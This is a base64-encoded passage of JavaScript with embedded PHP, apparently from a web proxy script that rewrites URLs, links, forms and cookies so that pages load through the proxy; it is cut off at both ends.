w0KCQlpZihmaWVsZHJlcXNbZmllbGRub10hPXVuZGVmaW5lZCkgcmV0dXJuIHZhbHVlOw0KCQkvLyByZXR1cm4gKHZhbHVlIT0iIj9udWxsOnZhbHVlKTsNCgkJZWxzZSByZXR1cm4gZmllbGRyZXFzW2ZpZWxkbm9dOw0KCX0NCg0KCXRoaXMuc2V0X3Byb3RvPWZ1bmN0aW9uKHByb3RvKXsNCgkJaWYocHJvdG89PXVuZGVmaW5lZCkgcHJvdG89Imh0dHAiOw0KCQlpZih0aGlzLmxvY2tlZCkgcmV0dXJuOw0KCQl0aGlzLnByb3RvPXByb3RvOw0KCX0NCgl0aGlzLmdldF9wcm90bz1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5wcm90bzsgfQ0KDQoJdGhpcy5nZXRfdXNlcnBhc3M9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMudXNlcnBhc3M7IH0NCgl0aGlzLnNldF91c2VycGFzcz1mdW5jdGlvbih1c2VycGFzcyl7IGlmKHVzZXJwYXNzPT11bmRlZmluZWQpIHVzZXJwYXNzPSIiOyB0aGlzLnVzZXJwYXNzPXVzZXJwYXNzOyB9DQoJdGhpcy5nZXRfc2VydmVybmFtZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5zZXJ2ZXJuYW1lOyB9DQoJdGhpcy5zZXRfc2VydmVybmFtZT1mdW5jdGlvbihzZXJ2ZXJuYW1lKXsgaWYoc2VydmVybmFtZT09dW5kZWZpbmVkKSBzZXJ2ZXJuYW1lPSIiOyB0aGlzLnNlcnZlcm5hbWU9c2VydmVybmFtZTsgfQ0KCXRoaXMuZ2V0X3BvcnR2YWw9ZnVuY3Rpb24oKXsgcmV0dXJuICgodGhpcy5wb3J0dmFsPT0iIik/KHRoaXMuZ2V0X3Byb3RvKCk9PSJodHRwcyI/IjQ0MyI6IjgwIik6dGhpcy5wb3J0dmFsKTsgfQ0KCXRoaXMuc2V0X3BvcnR2YWw9ZnVuY3Rpb24ocG9ydCl7IGlmKHBvcnQ9PXVuZGVmaW5lZCkgcG9ydD0iIjsgdGhpcy5wb3J0dmFsPSgocGFyc2VJbnQocG9ydCkhPTgwKT9wb3J0OiIiKS50b1N0cmluZygpOyB9DQoJdGhpcy5nZXRfcGF0aD1mdW5jdGlvbigpeyAvLyAqKioNCgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLi8iKSE9LTEpIHRoaXMucGF0aD10aGlzLnBhdGgucmVwbGFjZSgvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy9nLCIvIik7DQoJCWlmKHRoaXMucGF0aC5pbmRleE9mKCIvLi8iKSE9LTEpIHdoaWxlKChwYXRoPXRoaXMucGF0aC5yZXBsYWNlKCIvLi8iLCIvIikpICYmIHBhdGghPXRoaXMucGF0aCkgdGhpcy5wYXRoPXBhdGg7DQoJCXJldHVybiB0aGlzLnBhdGg7DQoJfQ0KCXRoaXMuc2V0X3BhdGg9ZnVuY3Rpb24ocGF0aCl7IGlmKHBhdGg9PXVuZGVmaW5lZCkgcGF0aD0iLyI7IHRoaXMucGF0aD1wYXRoOyB9DQoJdGhpcy5nZXRfZmlsZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5maWxlOyB9DQoJdGhpcy5zZXRfZmlsZT1mdW5jdGlvbihmaWxlKXsgaWYoZmlsZT09dW5kZWZpbmVkKSBmaWxlPSIiOyB0aGlzLmZpbGU9ZmlsZTsgfQ0KCXRoaXMuZ2V0X3F1ZXJ5PWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnF1ZXJ5OyB9DQoJdGhpcy5zZXRfcXVlcnk9ZnVuY3Rpb24ocXVlcnkpeyBpZihxdWVyeT09dW5kZWZpbmVkKSBxdWVyeT0iIjsgdGhpcy5xdWVyeT1xdWVyeTsgfQ0KCXRoaXMuZ2V0X2xhYmVsPWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLmxhYmVsOyB9DQoJdGhpcy5zZXRfbGFiZWw9ZnVuY3Rpb24obGFiZWwpeyBpZihsYWJlbD09dW5kZWZpbmVkKSBsYWJlbD0iIjsgdGhpcy5sYWJlbD1sYWJlbDsgfQ0KDQoJdGhpcy5nZXRfdXJsPWZ1bmN0aW9uKCl7DQoJCWlmKHRoaXMubG9ja2VkKSByZXR1cm4gdGhpcy51cmw7DQoJCXJldHVybiB0aGlzLmdldF9wcm90bygpKyI6Ly8iKw0KCQkgICAgICAgKHRoaXMuZ2V0X3VzZXJwYXNzKCk9PSIiPyIiOnRoaXMuZ2V0X3VzZXJwYXNzKCkrIkAiKSsNCgkJICAgICAgIHRoaXMuZ2V0X3NlcnZlcm5hbWUoKSsNCgkJICAgICAgIChwYXJzZUludCh0aGlzLmdldF9wb3J0dmFsKCkpPT04MD8iIjoiOiIrcGFyc2VJbnQodGhpcy5nZXRfcG9ydHZhbCgpKSkrDQoJCSAgICAgICB0aGlzLmdldF9wYXRoKCkrdGhpcy5nZXRfZmlsZSgpKw0KCQkgICAgICAgKHRoaXMuZ2V0X3F1ZXJ5KCk9PSIiPyIiOiI/Iit0aGlzLmdldF9xdWVyeSgpKSsNCgkJICAgICAgICh0aGlzLmdldF9sYWJlbCgpPT0iIj8iIjoiIyIrdGhpcy5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCXRoaXMuc3Vycm9nYWZ5PWZ1bmN0aW9uKCl7DQoJCXZhciB1cmw9dGhpcy5nZXRfdXJsKCk7DQoJCWlmKHRoaXMubG9ja2VkIHx8IHRoaXMuZ2V0X3Byb3RvKCkrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLmdldF91c2VycGFzcygpKSt0aGlzLmdldF9zZXJ2ZXJuYW1lKCkrdGhpcy5nZXRfcGF0aCgpK3RoaXMuZ2V0X2ZpbGUoKT09dGhpcy5USElTX1NDUklQVCkgcmV0dXJuIHVybDsNCgkJdmFyIGxhYmVsPXRoaXMuZ2V0X2xhYmVsKCk7DQoJCXRoaXMuc2V0X2xhYmVsKCk7DQoJCWlmKHRoaXMuRU5DUllQVF9VUkxTICYmICF0aGlzLmxvY2tlZCkgdXJsPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGUucHJveGVuYyh1cmwpOw0KCQkvL3VybD10aGlzLlRISVNfU0NSSVBUKyI/PSIrKCF0aGlzLkVOQ1JZUFRfVVJMUz9lc2NhcGUodXJsKTp1cmwpOyAvLyB1cmxlbmNvZGUoKWQNCgkJdXJsPXRoaXMuVEhJU19TQ1JJUFQrIj89Iit1cmw7IC8vIHVybGVuY29kZSgpZA0KCQl0aGlzLnNldF9sYWJlbChsYWJlbCk7DQoJCXJldHVybiB1cmw7DQoJfQ0KDQoJaWYodXJsLmxlbmd0aD48P3BocCBlY2hvKE1BWElNVU1fVVJMX0xFTkdUSCk/Pil7DQoJCS8vYWxlcnQodGhpcy51cmwpOyAvLyBERUJVRw0KCQkvL2FsZXJ0KHRoaXMudXJsLmxlbmd0aCk7IC8vIERFQlVHDQoJCXRoaXMudXJsPSIiOw0KCX0NCgllbHNlew0KCQkvL3RoaXMudXJsPXByZWdfcmVwbGFjZSgiLyYjKFswLTldKyk7L2UiLCJjaHIoXFwxKSIgLy8gcGFyc2UgbGlrZSBQSFAgZG9lcyBmb3IgJiNudW07IEhUTUwgZW50aXRpZXM/IC8vIFRPRE8/DQoJCXRoaXMudXJsPXRoaXMudHJpbSh1cmwucmVwbGFjZSgiJmFtcDsiLCImIikucmVwbGFjZSgiXHIiLCIiKS5yZXBsYWNlKCJcbiIsIiIpKTsNCgl9DQoNCgl0aGlzLnRvcHVybD10b3B1cmw7DQoJdGhpcy5sb2NrZWQ9dXJsLm1hdGNoKDw/cGhwIGVjaG8oQVVSTF9MT0NLX1JFR0VYUCk7ID8+KTsgLy8qDQoNCglpZighdGhpcy5sb2NrZWQpew0KCQl2YXIgdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXRoaXMudXJsLm1hdGNoKHRoaXMuVVJMUkVHKSl7DQoJCQl1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKHRoaXMudG9wdXJsPT11bmRlZmluZWQpIHRoaXMudXJsPSJodHRwOi8vIisoKHRoaXMudXJsLmNoYXJBdCgwKT09IjoiIHx8IHRoaXMudXJsLmNoYXJBdCgwKT09Ii8iKT90aGlzLnVybC5zdWJzdHJpbmcoMSk6dGhpcy51cmwpKyh0aGlzLnVybC5pbmRleE9mKCIvIikhPS0xPyIiOiIvIik7DQoJCQllbHNlew0KCQkJCXZhciBuZXd1cmw9dGhpcy50b3B1cmwuZ2V0X3Byb3RvKCkrIjovLyIrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLnRvcHVybC5nZXRfdXNlcnBhc3MoKSkrdGhpcy50b3B1cmwuZ2V0X3NlcnZlcm5hbWUoKSsoKHRoaXMudG9wdXJsLmdldF9wb3J0dmFsKCkhPTgwICYmICh0aGlzLnRvcHVybC5nZXRfcHJvdG8oKT09Imh0dHBzIj90aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyI6Iit0aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpOiIiKTsNCgkJCQlpZih0aGlzLnVybC5zdWJzdHJpbmcoMCwxKSE9Ii8iKSBuZXd1cmwrPXRoaXMudG9wdXJsLmdldF9wYXRoKCk7DQoJCQkJdGhpcy51cmw9bmV3dXJsK3RoaXMudXJsOw0KCQkJfQ0KCQl9DQoNCgkJdGhpcy5zZXRfcHJvdG8oKHVybHdhc3ZhbGlkIHx8IHRoaXMudG9wdXJsPT11bmRlZmluZWQ/dGhpcy51cmwucmVwbGFjZSgvXihbXjpdKykuKiQvLCJcJDEiKTp0aGlzLnRvcHVybC5nZXRfcHJvdG8oKSkpOw0KCQl0aGlzLnNldF91c2VycGFzcyh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDIiKSk7DQoJCXRoaXMuc2V0X3NlcnZlcm5hbWUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQzIikpOw0KCQl0aGlzLnNldF9wb3J0dmFsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkNCIpKTsNCgkJdGhpcy5zZXRfcGF0aCh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDUiKSk7DQoJCXRoaXMuc2V0X2ZpbGUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ2IikpOw0KCQl0aGlzLnNldF9xdWVyeSh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDciKSk7DQoJCXRoaXMuc2V0X2xhYmVsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkOCIpKTsNCgl9DQoNCgkvL2lmKCF0aGlzLmxvY2tlZCAmJiAhdGhpcy51cmwubWF0Y2godGhpcy5VUkxSRUcpKSBoYXZvayg3LHRoaXMudXJsKTsgLy8qDQp9LA0KDQpzdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwsYWRkcHJveHkpew0KCXVybD11cmwudG9TdHJpbmcoKTsNCglpZighdXJsLnN1YnN0cmluZykgcmV0dXJuOw0KCWlmKGFkZHByb3h5PT11bmRlZmluZWQpIGFkZHByb3h5PXRydWU7DQoJdmFyIHVybHF1b3RlPSIiOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpew0KCQl1cmxxdW90ZT11cmwuc3Vic3RyaW5nKDAsMSk7DQoJCXVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCgl9DQoJaWYodG9wdXJsPT11bmRlZmluZWQpIHRvcHVybD10aGlzLmN1cnJfdXJsb2JqOw0KCXZhciB1cmxvYmo9bmV3IHRoaXMuYXVybCh1cmwsdG9wdXJsKTsNCgl2YXIgbmV3X3VybD0oYWRkcHJveHk/dXJsb2JqLnN1cnJvZ2FmeSgpOnVybG9iai5nZXRfdXJsKCkpOw0KCWlmKHVybHF1b3RlIT0iIikgbmV3X3VybD11cmxxdW90ZStuZXdfdXJsK3VybHF1b3RlOw0KCXJldHVybiBuZXdfdXJsOw0KfSwNCg0Kc3Vycm9nYWZ5X3VybF90b29iajpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYoIXVybC5zdWJzdHJpbmcpIHJldHVybjsNCglpZihhZGRwcm94eT09dW5kZWZpbmVkKSBhZGRwcm94eT10cnVlOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpIHVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCglpZih0b3B1cmw9PXVuZGVmaW5lZCkgdG9wdXJsPXRoaXMuY3Vycl91cmxvYmo7DQoJcmV0dXJuIG5ldyB0aGlzLmF1cmwodXJsLHRvcHVybCk7DQp9LA0KDQpkZV9zdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCl7DQoJaWYodXJsPT11bmRlZmluZWQpIHJldHVybiAiIjsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYodXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/PikgfHwgIXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/PikpIHJldHVybiB1cmw7DQoJcmV0dXJuIHRoaXMucGUucHJveGRlYyhkZWNvZGVVUklDb21wb25lbnQodXJsLnN1YnN0cmluZyh1cmwuaW5kZXhPZignPycpKzEpLnJlcGxhY2UoPD9waHAgZWNobyhQQUdFVFlQRV9SRUdFWFApOyA/PiwiXCQyIikpKTsgLy8gdXJsZGVjb2RlKCkNCn0sDQoNCmFkZF9xdWVyeXN0dWZmOmZ1bmN0aW9uKHVybCxxdWVyeXN0dWZmKXsNCgl2YXIgcG9zPXVybC5pbmRleE9mKCc/Jyk7DQoJcmV0dXJuIHVybC5zdWJzdHIoMCxwb3MrMSkrcXVlcnlzdHVmZit1cmwuc3Vic3RyKHBvcysxLHVybC5sZW5ndGgtcG9zKTsNCn0sDQoNCnByZWdfbWF0Y2hfYWxsOmZ1bmN0aW9uKHJlZ2V4cHN0cixzdHJpbmcpew0KCXZhciBtYXRjaGFycj1uZXcgQXJyYXkoKTsNCgl2YXIgcmVnZXhwPW5ldyBSZWdFeHAocmVnZXhwc3RyKTsNCgl2YXIgcmVzdWx0Ow0KCXdoaWxlKHRydWUpew0KCQlyZXN1bHQ9cmVnZXhwLmV4ZWMoc3RyaW5nKTsNCgkJaWYocmVzdWx0IT1udWxsKSBtYXRjaGFyci5wdXNoKHJlc3VsdCk7DQoJCWVsc2UgYnJlYWs7DQoJfQ0KCXJldHVybiBtYXRjaGFycjsNCn0sDQoNCmZyYW1pZnlfdXJsOmZ1bmN0aW9uKHVybCxmcmFtZV90eXBlKXsNCglpZigoZnJhbWVfdHlwZSE9PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVfVE9QKTsgPz4gfHwgIXRoaXMuVVJMX0ZPUk0pICYmIChmcmFtZV90eXBlIT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfUEFHRSk7ID8+ICYmICF0aGlzLlBBR0VfRlJBTUVEKSkgcmV0dXJuIHVybDsNCgl2YXIgdXJscXVvdGU9IiI7DQoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwuc3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5nKHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSl7DQoJCXVybHF1b3RlPXVybC5zdWJzdHJpbmcoMCwxKTsNCgkJdXJsPXVybC5zdWJzdHJpbmcoMSx1cmwubGVuZ3RoLTEpOw0KCX0NCglpZighdXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/Pikpew0KCQl2YXIgcXVlcnk7DQoJCWlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FX1RPUCk7ID8+ICYmIHRoaXMuVVJMX0ZPUk0pIHF1ZXJ5PScmPSc7DQoJCWVsc2UgaWYoZnJhbWVfdHlwZT09PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVEX0NISUxEKTsgPz4pIHF1ZXJ5PScuJj0nOw0KCQllbHNlIGlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FRF9QQUdFKTsgPz4gfHwgdGhpcy5QQUdFX0ZSQU1FRCkgcXVlcnk9J18mPSc7DQoJCWVsc2UgcXVlcnk9Jyc7DQoJCXVybD11cmwucmVwbGFjZSgvXihbXlw/XSopW1w/XT88P3BocCBlY2hvKFBBR0VUWVBFX01JTklSRUdFWFApOyA/PihbXiNdKj9bI10/Lio/KSQvLCdcJDE/PScrcXVlcnkrJ1wkMycpOw0KCX0NCglpZih1cmxxdW90ZSE9IiIpIHVybD11cmxxdW90ZSt1cmwrdXJscXVvdGU7DQoJcmV0dXJuIHVybDsNCn0sDQoNCnBhcnNlX2h0bWw6ZnVuY3Rpb24ocmVnZXhwLHBhcnRvcGFyc2UsaHRtbCxhZGRwcm94eSxmcmFtaWZ5KXsNCgl2YXIgbWF0Y2gsYmVnaW4sZW5kLG51cmw7DQoJaWYoaHRtbC5tYXRjaChyZWdleHApKXsNCgkJdmFyIG1hdGNoYXJyPXRoaXMucHJlZ19tYXRjaF9hbGwocmVnZXhwLGh0bWwpOw0KCQl2YXIgbmV3aHRtbD0iIjsNCgkJZm9yKHZhciBrZXkgaW4gbWF0Y2hhcnIpew0KCQkJLyptYXRjaD1tYXRjaGFycltpXTsNCgkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQluaHRtbD1tYXRjaFswXS5yZXBsYWNlKG1hdGNoW3BhcnRvcGFyc2VdLG51cmwpOw0KCQkJaHRtbD1odG1sLnJlcGxhY2UobWF0Y2hbMF0sbmh0bWwpOyovDQoJCQltYXRjaD1tYXRjaGFycltrZXldOw0KCQkJaWYobWF0Y2hbcGFydG9wYXJzZV0hPXVuZGVmaW5lZCl7DQoJCQkJYmVnaW49aHRtbC5pbmRleE9mKG1hdGNoW3BhcnRvcGFyc2VdKTsNCgkJCQllbmQ9YmVnaW4rbWF0Y2hbcGFydG9wYXJzZV0ubGVuZ3RoOw0KCQkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQkJaWYoZnJhbWlmeSkgbnVybD10aGlzLmZyYW1pZnlfdXJsKG51cmwsZnJhbWlmeSk7DQoJCQkJbmV3aHRtbCs9aHRtbC5zdWJzdHJpbmcoMCxiZWdpbikrbnVybDsNCgkJCQlodG1sPWh0bWwuc3Vic3RyaW5nKGVuZCk7DQoJCQl9DQoJCX0NCgkJaHRtbD1uZXdodG1sK2h0bWw7DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KcGFyc2VfYWxsX2h0bWw6ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHNbMF09PW51bGwpIHJldHVybjsNCgl2YXIgaHRtbD1hcmd1bWVudHNbMF0udG9TdHJpbmcoKTsNCgl2YXIga2V5Ow0KCWZvcih2YXIga2V5IGluIHJlZ2V4cF9hcnJheXMpew0KCQlpZigoYXJndW1lbnRzLmxlbmd0aD4xICYmIGtleSE9YXJndW1lbnRzWzFdKSB8fCBrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCgkJYXJyPXJlZ2V4cF9hcnJheXNba2V5XTsNCgkJZm9yKHZhciByZWdleHBfYXJyYXlrZXkgaW4gYXJyKXsNCgkJCXJlZ2V4cF9hcnJheT1hcnJbcmVnZXhwX2FycmF5a2V5XTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09dW5kZWZpbmVkKSBjb250aW51ZTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09MSkgaHRtbD1odG1sLnJlcGxhY2UocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSk7DQoJCQllbHNlIGlmKHJlZ2V4cF9hcnJheVswXT09Mil7DQoJCQkJYWRkcHJveHk9KHJlZ2V4cF9hcnJheS5sZW5ndGg+Mz9yZWdleHBfYXJyYXlbM106dHJ1ZSk7DQoJCQkJZnJhbWlmeT0ocmVnZXhwX2FycmF5Lmxlbmd0aD40P3JlZ2V4cF9hcnJheVs0XTpmYWxzZSk7DQoJCQkJaHRtbD10aGlzLnBhcnNlX2h0bWwocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSxodG1sLGFkZHByb3h5LGZyYW1pZnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KZm9ybV9idXR0b246bnVsbCwNCmZvcm1fZW5jcnlwdDpmdW5jdGlvbihmb3JtKXsNCglpZihmb3JtLm1ldGhvZD09J3Bvc3QnKSByZXR1cm4gdHJ1ZTsNCgkvL2FjdGlvbj1mb3JtLjxwaHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZTsNCgl2YXIgYWN0aW9uPWZvcm0uZ2V0RWxlbWVudHNCeU5hbWUodGhpcy5DT09LX1BSRUYpWzBdLnZhbHVlOw0KCWZvcih2YXIgaT0xO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKXsNCgkJaWYoZm9ybS5lbGVtZW50c1tpXS5kaXNhYmxlZCB8fCBmb3JtLmVsZW1lbnRzW2ldLm5hbWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udmFsdWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3Jlc2V0JykgY29udGludWU7DQoJCWlmKGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3N1Ym1pdCcpew0KCQkJaWYoZm9ybS5lbGVtZW50c1tpXS5uYW1lIT10aGlzLmZvcm1fYnV0dG9uKSBjb250aW51ZTsNCgkJCXRoaXMuZm9ybV9idXR0b249bnVsbDsNCgkJfQ0KCQl2YXIgcHJlZjsNCgkJaWYoIWFjdGlvbi5tYXRjaCgvXD8vKSkgcHJlZj0iPyI7DQoJCWVsc2UgcHJlZj0iJiI7DQoJCWFjdGlvbis9cHJlZitmb3JtLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2Zvcm0uZWxlbWVudHNbaV0udmFsdWU7DQoJfQ0KCWxvY2F0aW9uLmhyZWY9dGhpcy5zdXJyb2dhZnlfdXJsKGFjdGlvbik7DQoJcmV0dXJuIGZhbHNlOw0KfSwNCg0Kc2V0QXR0cjpmdW5jdGlvbihvYmosYXR0cix2YWwpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYoYXR0cj09ImlubmVySFRNTCIpew0KCQlvYmpbYXR0cl09dGhpcy5wYXJzZV9hbGxfaHRtbCh2YWwpOw0KCQlyZXR1cm4gb2JqW2F0dHJdOw0KCX0NCg0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09Imhvc3RuYW1lIikgcmV0dXJuIHRoaXMuTE9DQVRJT05fSE9TVE5BTUU7DQoNCglpZihvYmo9PWRvY3VtZW50ICYmIGF0dHI9PSJjb29raWUiKXsNCgkJY29uc3QgQ09PS19SRUc9L14oW149XSopPShbXjtdKikoPzo7W1xzXFNdKj8pPyQvaTsNCgkJdmFyIHJlYWxob3N0PXRoaXMuTE9DQVRJT05fSE9TVE5BTUUucmVwbGFjZSgiL153d3cvaSIsIiIpLnJlcGxhY2UoIi4iLCJfIik7DQoJCXZhciBjb29ra2V5PXZhbC5yZXBsYWNlKENPT0tfUkVHLCJcJDEiKTsNCgkJdmFyIGNvb2t2YWw9dmFsLnJlcGxhY2UoQ09PS19SRUcsIlwkMiIpOw0KCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJY29va2tleT1wcm94ZW5jKGNvb2trZXkpOw0KCQkJY29va3ZhbD1wcm94ZW5jKGNvb2t2YWwpOw0KCQl9DQoJCXZhciBuZXdjb29raWU9cmVhbGhvc3QrIjw/cGhwIGVjaG8oQ09PS0lFX1NFUEFSQVRPUik7ID8+Iitjb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCWRvY3VtZW50LmNvb2tpZT1uZXdjb29raWU7DQoJCXJldHVybiBuZXdjb29raWU7DQoJfQ0KDQoJaWYob2JqPT1sb2NhdGlvbiAmJiBhdHRyPT0ic2VhcmNoIil7DQoJCWlmKHZhbC5zdWJzdHIoMCwxKT09Ij8iKSB2YWw9dmFsLnN1YnN0cigxKTsNCgkJdGhpcy5jdXJyX3VybG9iai5zZXRfcXVlcnkodmFsKTsNCgkJdmFsPXRoaXMuY3Vycl91cmxvYmouZ2V0X3VybCgpOw0KCQlhdHRyPSJocmVmIjsNCgl9DQoNCgl2YXIgcHJveHVybD12YWw7DQoJaWYoYXR0ciE9ImNvb2tpZSIgJiYgYXR0ciE9InNlYXJjaCIgJiYgYXR0ciE9Imhvc3RuYW1lIil7DQoJCXByb3h1cmw9dGhpcy5zdXJyb2dhZnlfdXJsKHZhbCk7DQoNCgkJLy8gdGFncyBmcmFtaWZpZWQgIG11c3QgbWF0Y2ggUkVHRVhQUyB3aXRoIHJlZ2V4cF9hcnJheVs1XQ0KCQlpZihvYmoudGFnTmFtZT09IkEiIHx8IG9iai50YWdOYW1lPT0iQVJFQSIpDQoJCQlwcm94dXJsPXRoaXMuZnJhbWlmeV91cmwocHJveHVybCw8P3BocCBlY2hvKE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOyA/Pik7DQoJCWVsc2UgaWYob2JqLnRhZ05hbWU9PSJGUkFNRSIgfHwgb2JqLnRhZ05hbWU9PSJJRlJBTUUiKQ0KCQkJcHJveHVybD10aGlzLmZyYW1pZnlfdXJsKHByb3h1cmwsPD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfQ0hJTEQpOyA/Pik7DQoJfQ0KDQoJaWYodGhpcy5VUkxfRk9STSl7DQoJCWlmKChvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJocmVmIikgfHwgYXR0cj09ImxvY2F0aW9uIil7DQoJCQl1cmxvYmo9dGhpcy5zdXJyb2dhZnlfdXJsX3Rvb2JqKHZhbCk7DQoJCQlpZighdXJsb2JqLmxvY2tlZCkgcHJveHVybD10aGlzLmFkZF9xdWVyeXN0dWZmKHByb3h1cmwsIj0mIik7DQoJCQl0aGlzLnRoZXRvcC5sb2NhdGlvbi5ocmVmPXByb3h1cmw7DQoJCX0NCgkJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCgl9DQoJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCn0sDQoNCmdldEF0dHI6ZnVuY3Rpb24ob2JqLGF0dHIpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYob2JqPT1kb2N1bWVudCAmJiBhdHRyPT0iY29va2llIil7DQoJCXZhciBvY29va2llcz10aGlzLmdldENvb2tpZUFycigpOw0KCQl2YXIgY29va2llcz0iIixvY29vazsNCgkJY29uc3QgQ09PS19SRUc9L14oW1xzXFNdKik8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PihbXj1dKik9KFtcc1xTXSopKD86OyApPyQvaTsNCgkJZm9yKHZhciBrZXkgaW4gb2Nvb2tpZXMpew0KCQkJb2Nvb2s9b2Nvb2tpZXNba2V5XTsNCgkJCWlmKHR5cGVvZihvY29vaykhPXR5cGVvZigiIikpIGNvbnRpbnVlOw0KCQkJaWYob2Nvb2subWF0Y2goQ09PS19SRUcpPT1udWxsKSBjb250aW51ZTsNCgkJCXZhciByZWFsaG9zdD10aGlzLkxPQ0FUSU9OX0hPU1ROQU1FLnJlcGxhY2UoIi9ed3d3L2kiLCIiKS5yZXBsYWNlKCIuIiwiXyIpOw0KCQkJdmFyIGNvb2tob3N0PW9jb29rLnJlcGxhY2UoQ09PS19SRUcsIlwkMSIpOw0KCQkJaWYoY29va2hvc3Q9PXJlYWxob3N0KXsNCgkJCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJCQl2YXIgY29va2tleT10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyIikpOw0KCQkJCQl2YXIgY29va3ZhbD10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQzIikpOw0KCQkJCQljb2